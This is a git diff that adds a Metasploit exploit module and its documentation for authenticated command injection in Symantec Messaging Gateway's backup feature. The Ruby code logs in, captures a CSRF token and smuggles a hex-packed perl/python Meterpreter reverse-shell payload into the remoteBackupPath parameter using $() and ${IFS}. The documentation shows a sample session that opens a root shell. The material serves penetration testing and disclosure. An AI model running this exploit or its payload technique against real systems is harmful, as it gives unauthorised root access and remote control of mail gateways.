diff --git a/documentation/modules/exploit/linux/http/symantec_messaging_gateway_exec.md b/documentation/modules/exploit/linux/http/symantec_messaging_gateway_exec.md new file mode 100644 index 0000000000..2a690adebf --- /dev/null +++ b/documentation/modules/exploit/linux/http/symantec_messaging_gateway_exec.md @@ -0,0 +1,57 @@ +## Vulnerable Application + +This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a +terminal command under the context of the web server user which is root. + +backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing +operating system command. One of the user input is being passed to the service without proper validation. That cause an command +injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal +command. Thus, you need to configure your own SSH service and set the required parameter during module usage. + +**Vulnerable Application Installation Steps** + +Click on the "free trial" button at the following URL. +[https://www.symantec.com/products/messaging-security/messaging-gateway](https://www.symantec.com/products/messaging-security/messaging-gateway) + +You need to complete the reqistration in order to download ISO file. License file will be delivered to your e-mail address + +## Verification Steps + +A successful check of the exploit will look like this: + +``` +msf > use exploit/linux/http/symantec_messaging_gateway_exec +msf exploit(symantec_messaging_gateway_exec) > set RHOST 12.0.0.199 +RHOST => 12.0.0.199 +msf exploit(symantec_messaging_gateway_exec) > set LHOST 12.0.0.1 +LHOST => 12.0.0.1 +msf exploit(symantec_messaging_gateway_exec) > set USERNAME admin +USERNAME => admin +msf exploit(symantec_messaging_gateway_exec) > set PASSWORD qwe123 +PASSWORD => qwe123 +msf exploit(symantec_messaging_gateway_exec) > set SSH_ADDRESS 12.0.0.15 +SSH_ADDRESS => 127.0.0.1 +msf exploit(symantec_messaging_gateway_exec) > set SSH_USERNAME root +SSH_USERNAME => root +msf exploit(symantec_messaging_gateway_exec) > set SSH_PASSWORD toor +SSH_PASSWORD => qwe123 +msf exploit(symantec_messaging_gateway_exec) > run + +[*] Started reverse TCP handler on 12.0.0.1:4444 +[*] Performing authentication... +[+] Awesome..! Authenticated with admin:qwe123 +[*] Capturing CSRF token +[+] CSRF token is : 48f39f735f15fcaccd0aacc40b27a67bf76f2bb1 +[*] Sending stage (39842 bytes) to 12.0.0.199 +[*] Meterpreter session 1 opened (12.0.0.1:4444 -> 12.0.0.199:53018) at 2017-04-30 14:00:12 +0300 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : hacker.dev +OS : Linux 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015 +Architecture : x64 +System Language : en_US +Meterpreter : python/linux +meterpreter > +``` diff --git a/modules/exploits/linux/http/symantec_messaging_gateway_exec.rb b/modules/exploits/linux/http/symantec_messaging_gateway_exec.rb new file mode 100644 index 0000000000..74845a554a --- /dev/null +++ b/modules/exploits/linux/http/symantec_messaging_gateway_exec.rb @@ -0,0 +1,201 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Symantec Messaging Gateway Remote Code Execution", + 'Description' => %q{ + This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a + terminal command under the context of the web server user which is root. + + backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing + operating system command. One of the user input is being passed to the service without proper validation. That cause an command + injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal + command. Thus, you need to configure your own SSH service and set the required parameter during module usage. + + This module was tested against Symantec Messaging Gateway 10.6.2-7. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Mehmet Ince ' # author & msf module + ], + 'References' => + [ + ['URL', 'https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/'] + ], + 'DefaultOptions' => + { + 'SSL' => true, + 'RPORT' => 443, + 'Payload' => 'python/meterpreter/reverse_tcp' + }, + 'Platform' => ['python'], + 'Arch' => ARCH_PYTHON, + 'Targets' => [[ 'Automatic', { }]], + 'Privileged' => true, + 'DisclosureDate' => "Apr 26 2017", + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(443), + OptString.new('USERNAME', [true, 'The username to login as']), + OptString.new('PASSWORD', [true, 'The password to login with']), + OptString.new('SSH_ADDRESS', [true, 'The ip address of your SSH service']), + OptInt.new('SSH_PORT', [true, 'The port of your SSH service', 22]), + OptString.new('SSH_USERNAME', [true, 'The username of your SSH service']), + OptString.new('SSH_PASSWORD', [true, 'The password of your SSH service']), + OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/']) + ] + ) + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def ssh_address + datastore['SSH_ADDRESS'] + end + + def ssh_port + datastore['SSH_PORT'] + end + + def ssh_username + datastore['SSH_USERNAME'] + end + + def ssh_password + datastore['SSH_PASSWORD'] + end + + def auth + print_status("Performing authentication...") + + sid = '' + last_login = '' + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do') + }) + + if res && !res.get_cookies.empty? + last_login = res.get_hidden_inputs.first['lastlogin'] || '' + sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || '' + else + fail_with(Failure::Unknown, "Didn't get cookie-set header from response.") + end + + cookie = '' + + # Performing authentication + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'), + 'headers' => { + 'Referer' => "https://#{peer}/brightmail/viewLogin.do", + 'Connection' => 'keep-alive' + }, + 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}", + 'vars_post' => { + 'lastlogin' => last_login, + 'userLocale' => '', + 'lang' => 'en_US', + 'username' => username, + 'password' => password, + 'loginBtn' => 'Login' + } + }) + + if res &&res.body =~ /Logged in/ + cookie = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] + print_good("Awesome..! Authenticated with #{username}:#{password}") + else + fail_with(Failure::Unknown, 'Credentials are not valid.') + end + + cookie + end + + def get_csrf_token(cookie) + + print_status('Capturing CSRF token') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'backupNow.do'), + 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}", + }) + + csrf_token = nil + if res && res.code == 200 + match = res.body.match(/type="hidden" name="symantec.brightmail.key.TOKEN" value="(\w+)"\/>/) + if match + csrf_token = match[1] + print_good("CSRF token is : #{csrf_token}") + else + fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.') + end + else + fail_with(Failure::Unknown, 'Something went wrong.') + end + + csrf_token + end + + def exploit + + cookie = auth + csrf_token = get_csrf_token(cookie) + + # I want to get meterpreter instead of cmd shell but SPACE and some other characters are blacklisted. + # Note that, we always have one SPACE at the beginning of python payload. e.g: import base64,sys; + # Here is the thing, use perl payload with ${IFS} technique and deliver the real payload inside of it :) + # So we gonna execute a perl payload on server side which will execute our meterpreter python payload. + + cmd = "python -c \"#{payload.encoded}\"" + final_payload = cmd.to_s.unpack("H*").first + + p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'" + + # Ok. We are ready to go + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'performBackupNow.do'), + 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}", + 'vars_post' => { + 'pageReuseFor' => 'backup_now', + 'id' => '', + 'symantec.brightmail.key.TOKEN' => csrf_token, + 'backupData' => 'full', + 'customType' => 'configuration', + 'includeIncidentMessages' => 'true', + 'includeLogData' => 'true', + 'backupTo' => '2', + 'remoteBackupProtocol' => 'SCP', + 'remoteBackupAddress' => ssh_address, + 'remoteBackupPort' => ssh_port, + 'remoteBackupPath' => "tmp$(#{p})", + 'requiresRemoteAuthentication' => 'true', + 'remoteBackupUsername' => ssh_username, + 'remoteBackupPassword' => ssh_password, + } + }) + end + +end